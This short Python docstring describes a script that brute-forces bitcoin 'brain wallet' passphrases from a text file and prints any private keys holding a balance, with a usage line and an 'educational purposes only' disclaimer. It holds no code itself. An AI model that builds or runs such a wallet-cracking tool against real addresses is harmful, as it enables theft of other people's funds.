"""
Simple script to brute force bitcoin wallets with text file filled with passphrases
and print any keys with available balance. Program check for
both compressed and uncompressed versions of addresses using
bit library.

Example use: python brutecointxt.py -t passphrases.txt

DISCLAIMER: Program created for educational purposes only.
Don't steal anybody bitcoins and don't use easy to guess passphrases.
